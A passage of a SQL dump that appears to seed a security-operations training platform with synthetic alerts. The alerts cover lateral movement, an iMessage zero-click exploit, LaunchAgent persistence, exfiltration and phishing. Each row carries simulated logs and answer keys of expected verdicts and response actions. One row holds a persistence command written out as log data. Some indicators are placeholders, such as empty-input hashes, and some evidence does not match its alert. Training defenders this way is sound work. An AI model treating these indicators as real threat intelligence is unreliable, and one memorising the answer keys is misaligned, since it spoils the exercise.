NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\\\",\\\"filename\\\":\\\"suspicious.php\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"webadmin\\\",\\\"status_code\\\":200,\\\"response_size\\\":345}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1061, 'Lateral Movement Initiated', 'high', 'Internal network monitoring', 'With persistence established, the attacker is now exploring the internal network, attempting to access critical systems and harvest sensitive data. The attacker used compromised credentials to access a sensitive server and attempted to move laterally to other systems.', 'Lateral Movement', 'T1021', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T14:32:22Z\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"192.168.1.100\",\"external_attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"action\":\"network_access\",\"destination_port\":445,\"protocol\":\"SMB\",\"file_accessed\":\"financial_data.xlsx\",\"hash\":\"8d91f5f3cd7c2b9a9a3f4e2f1c3d5e4b\",\"status\":\"success\"}', '2026-01-24 03:32:45', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"internal\",\"details\":\"Destination sensitive server targeted in lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP associated with previous campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"internal\",\"details\":\"Compromised internal account used for lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"8d91f5f3cd7c2b9a9a3f4e2f1c3d5e4b\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"suspicious\",\"details\":\"File hash associated with lateral movement tools.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1062, 'Alert: Suspicious iMessage Activity Detected', 'high', 'iOS Device Logs', 'A crafted iMessage was detected, exploiting a known vulnerability to gain initial access to the target device without user interaction. The message originated from an external IP known for malicious activities.', 'Initial Access', 'T1203 - Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:52Z\",\"device_id\":\"ios_device_123456\",\"user\":\"user@example.com\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.25\",\"message_id\":\"msg-20231015-01\",\"exploit_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"attachment.jpg\",\"status\":\"Delivered\",\"exploit_detected\":true}', '2026-01-24 03:33:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intel Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple zero-click exploits.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the targeted device.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Tool\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known iMessage exploit payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.761Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"device_id\\\":\\\"ios_device_123456\\\",\\\"user\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"message_id\\\":\\\"msg-20231015-01\\\",\\\"exploit_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"attachment.jpg\\\",\\\"status\\\":\\\"Delivered\\\",\\\"exploit_detected\\\":true}\"},{\"timestamp\":\"2026-02-01T20:31:22.761Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"device_id\\\":\\\"ios_device_123456\\\",\\\"user\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"message_id\\\":\\\"msg-20231015-01\\\",\\\"exploit_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"attachment.jpg\\\",\\\"status\\\":\\\"Delivered\\\",\\\"exploit_detected\\\":true}\"},{\"timestamp\":\"2026-02-01T20:30:22.761Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"device_id\\\":\\\"ios_device_123456\\\",\\\"user\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"message_id\\\":\\\"msg-20231015-01\\\",\\\"exploit_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"attachment.jpg\\\",\\\"status\\\":\\\"Delivered\\\",\\\"exploit_detected\\\":true}\"},{\"timestamp\":\"2026-02-01T20:29:22.761Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"device_id\\\":\\\"ios_device_123456\\\",\\\"user\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"message_id\\\":\\\"msg-20231015-01\\\",\\\"exploit_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"attachment.jpg\\\",\\\"status\\\":\\\"Delivered\\\",\\\"exploit_detected\\\":true}\"},{\"timestamp\":\"2026-02-01T20:28:22.761Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:52Z\\\",\\\"device_id\\\":\\\"ios_device_123456\\\",\\\"user\\\":\\\"user@example.com\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.25\\\",\\\"message_id\\\":\\\"msg-20231015-01\\\",\\\"exploit_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"filename\\\":\\\"attachment.jpg\\\",\\\"status\\\":\\\"Delivered\\\",\\\"exploit_detected\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1063, 'Alert: FORCEDENTRY Vulnerability Exploited', 'critical', 'Security Incident and Event Management (SIEM) System', 'A zero-click exploit successfully triggered the FORCEDENTRY vulnerability, allowing the attacker to execute arbitrary code on the target\'s device. This indicates a severe breach that requires immediate attention.', 'Execution', 'T1203 - Exploitation for Client Execution', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-12T14:23:55Z\",\"event_id\":\"987654321\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"malicious_filename\":\"forgedentry_payload.bin\",\"malicious_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"action\":\"execute\",\"vulnerability_triggered\":\"FORCEDENTRY\",\"device\":\"iPhone13,4\",\"os_version\":\"iOS 14.8\"}', '2026-01-24 03:33:29', '2026-02-16 17:48:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with multiple APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal device IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"forgedentry_payload.bin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis\",\"verdict\":\"malicious\",\"details\":\"Payload used in exploitation of FORCEDENTRY vulnerability.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malicious payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.763Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:55Z\\\",\\\"event_id\\\":\\\"987654321\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"malicious_filename\\\":\\\"forgedentry_payload.bin\\\",\\\"malicious_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"execute\\\",\\\"vulnerability_triggered\\\":\\\"FORCEDENTRY\\\",\\\"device\\\":\\\"iPhone13,4\\\",\\\"os_version\\\":\\\"iOS 14.8\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.763Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:55Z\\\",\\\"event_id\\\":\\\"987654321\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"malicious_filename\\\":\\\"forgedentry_payload.bin\\\",\\\"malicious_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"execute\\\",\\\"vulnerability_triggered\\\":\\\"FORCEDENTRY\\\",\\\"device\\\":\\\"iPhone13,4\\\",\\\"os_version\\\":\\\"iOS 14.8\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.763Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:55Z\\\",\\\"event_id\\\":\\\"987654321\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"malicious_filename\\\":\\\"forgedentry_payload.bin\\\",\\\"malicious_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"execute\\\",\\\"vulnerability_triggered\\\":\\\"FORCEDENTRY\\\",\\\"device\\\":\\\"iPhone13,4\\\",\\\"os_version\\\":\\\"iOS 14.8\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.763Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:55Z\\\",\\\"event_id\\\":\\\"987654321\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"malicious_filename\\\":\\\"forgedentry_payload.bin\\\",\\\"malicious_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"execute\\\",\\\"vulnerability_triggered\\\":\\\"FORCEDENTRY\\\",\\\"device\\\":\\\"iPhone13,4\\\",\\\"os_version\\\":\\\"iOS 14.8\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.763Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:55Z\\\",\\\"event_id\\\":\\\"987654321\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"malicious_filename\\\":\\\"forgedentry_payload.bin\\\",\\\"malicious_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"execute\\\",\\\"vulnerability_triggered\\\":\\\"FORCEDENTRY\\\",\\\"device\\\":\\\"iPhone13,4\\\",\\\"os_version\\\":\\\"iOS 14.8\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1064, 'Alert: Persistence Mechanism Identified', 'medium', 'Mobile Device Management (MDM) Logs', 'A post-exploitation script has been executed on the target device to establish a persistent mechanism. This backdoor allows the attacker to maintain access to the device beyond the initial compromise.', 'Persistence', 'T1547 - Boot or Logon Autostart Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:34Z\",\"device_id\":\"device_12345\",\"user\":\"jdoe\",\"source_ip\":\"192.168.1.15\",\"malicious_ip\":\"203.0.113.45\",\"file_created\":\"/Library/LaunchAgents/com.example.malicious.plist\",\"hash\":\"a6b1c1c68cfe5b9d1e0e4d5b6f2c3a8f\",\"action\":\"script_execution\",\"description\":\"A script was executed to create a LaunchAgent for persistence.\",\"command\":\"launchctl load -w /Library/LaunchAgents/com.example.malicious.plist\"}', '2026-01-24 03:33:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malware distribution.\"}},{\"id\":\"artifact_2\",\"type\":\"filename\",\"value\":\"/Library/LaunchAgents/com.example.malicious.plist\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalAnalysis\",\"verdict\":\"malicious\",\"details\":\"File used for persistence by malware.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"a6b1c1c68cfe5b9d1e0e4d5b6f2c3a8f\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware variant.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalUserDB\",\"verdict\":\"internal\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.764Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"device_id\\\":\\\"device_12345\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"malicious_ip\\\":\\\"203.0.113.45\\\",\\\"file_created\\\":\\\"/Library/LaunchAgents/com.example.malicious.plist\\\",\\\"hash\\\":\\\"a6b1c1c68cfe5b9d1e0e4d5b6f2c3a8f\\\",\\\"action\\\":\\\"script_execution\\\",\\\"description\\\":\\\"A script was executed to create a LaunchAgent for persistence.\\\",\\\"command\\\":\\\"launchctl load -w /Library/LaunchAgents/com.example.malicious.plist\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.764Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"device_id\\\":\\\"device_12345\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"malicious_ip\\\":\\\"203.0.113.45\\\",\\\"file_created\\\":\\\"/Library/LaunchAgents/com.example.malicious.plist\\\",\\\"hash\\\":\\\"a6b1c1c68cfe5b9d1e0e4d5b6f2c3a8f\\\",\\\"action\\\":\\\"script_execution\\\",\\\"description\\\":\\\"A script was executed to create a LaunchAgent for persistence.\\\",\\\"command\\\":\\\"launchctl load -w /Library/LaunchAgents/com.example.malicious.plist\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.764Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"device_id\\\":\\\"device_12345\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"malicious_ip\\\":\\\"203.0.113.45\\\",\\\"file_created\\\":\\\"/Library/LaunchAgents/com.example.malicious.plist\\\",\\\"hash\\\":\\\"a6b1c1c68cfe5b9d1e0e4d5b6f2c3a8f\\\",\\\"action\\\":\\\"script_execution\\\",\\\"description\\\":\\\"A script was executed to create a LaunchAgent for persistence.\\\",\\\"command\\\":\\\"launchctl load -w /Library/LaunchAgents/com.example.malicious.plist\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.764Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"device_id\\\":\\\"device_12345\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"malicious_ip\\\":\\\"203.0.113.45\\\",\\\"file_created\\\":\\\"/Library/LaunchAgents/com.example.malicious.plist\\\",\\\"hash\\\":\\\"a6b1c1c68cfe5b9d1e0e4d5b6f2c3a8f\\\",\\\"action\\\":\\\"script_execution\\\",\\\"description\\\":\\\"A script was executed to create a LaunchAgent for persistence.\\\",\\\"command\\\":\\\"launchctl load -w /Library/LaunchAgents/com.example.malicious.plist\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.764Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"device_id\\\":\\\"device_12345\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"192.168.1.15\\\",\\\"malicious_ip\\\":\\\"203.0.113.45\\\",\\\"file_created\\\":\\\"/Library/LaunchAgents/com.example.malicious.plist\\\",\\\"hash\\\":\\\"a6b1c1c68cfe5b9d1e0e4d5b6f2c3a8f\\\",\\\"action\\\":\\\"script_execution\\\",\\\"description\\\":\\\"A script was executed to create a LaunchAgent for persistence.\\\",\\\"command\\\":\\\"launchctl load -w /Library/LaunchAgents/com.example.malicious.plist\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1065, 'Alert: Unusual Data Traffic Detected', 'high', 'Network Traffic Analysis', 'Unusual outbound traffic detected from internal host to known malicious IP. Data exfiltration suspected.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:22:30Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.76\",\"destination_port\":8080,\"protocol\":\"HTTP\",\"filename\":\"sensitive_data.zip\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"username\":\"jdoe\",\"action\":\"exfiltration\",\"bytes_sent\":5242880}', '2026-01-24 03:33:29', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.76\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT group\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"sensitive_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"file analysis\",\"verdict\":\"suspicious\",\"details\":\"File contains sensitive information\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash database\",\"verdict\":\"suspicious\",\"details\":\"Hash matches known exfiltration tool\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal directory\",\"verdict\":\"internal\",\"details\":\"Username associated with compromised account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1066, 'Suspicious Email Phishing Campaign Detected', 'high', 'Email gateway logs', 'APT1 has initiated a spear-phishing campaign targeting corporate employees. The phishing emails contain a malicious attachment disguised as a legitimate document.', 'Initial Access', 'T1566.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:48:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"source_email\":\"john.doe@maliciousdomain.com\",\"destination_email\":\"employee@company.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":\"Invoice_2023.docx\",\"attachment_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"message_id\":\"<20231005144800.1a2bc34d@example.com>\"}', '2026-01-24 03:35:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing activities.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"john.doe@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email used in multiple phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"suspicious\",\"details\":\"Hash matches known malicious document.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Invoice_2023.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis Service\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in phishing attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'intermediate', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email Phishing Campaign Detected\",\"date\":\"2026-02-01T20:32:22.767Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1067, 'Remote Code Execution via Malicious PDF', 'high', 'Endpoint detection and response (EDR) logs', 'An unsuspecting employee opened a PDF attachment, triggering a hidden script that executed malware, establishing a foothold for APT1. The PDF was designed to exploit a vulnerability in the PDF reader, allowing remote code execution.', 'Execution', 'T1203 - Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-09-15T14:25:36Z\",\"host_ip\":\"192.168.1.45\",\"user\":\"jdoe\",\"filename\":\"Quarterly_Report_Q3_2023.pdf\",\"hash\":\"3a5f5d4c77b4e5a5e8d3c3e28f6a5b0d\",\"process\":\"pdfreader.exe\",\"action\":\"execute\",\"remote_ip\":\"203.0.113.45\",\"malware_name\":\"APT1_Payload\",\"indicators\":{\"external_ip\":\"203.0.113.45\",\"file_hash\":\"3a5f5d4c77b4e5a5e8d3c3e28f6a5b0d\"}}', '2026-01-24 03:35:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT1 activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"3a5f5d4c77b4e5a5e8d3c3e28f6a5b0d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with APT1 malware 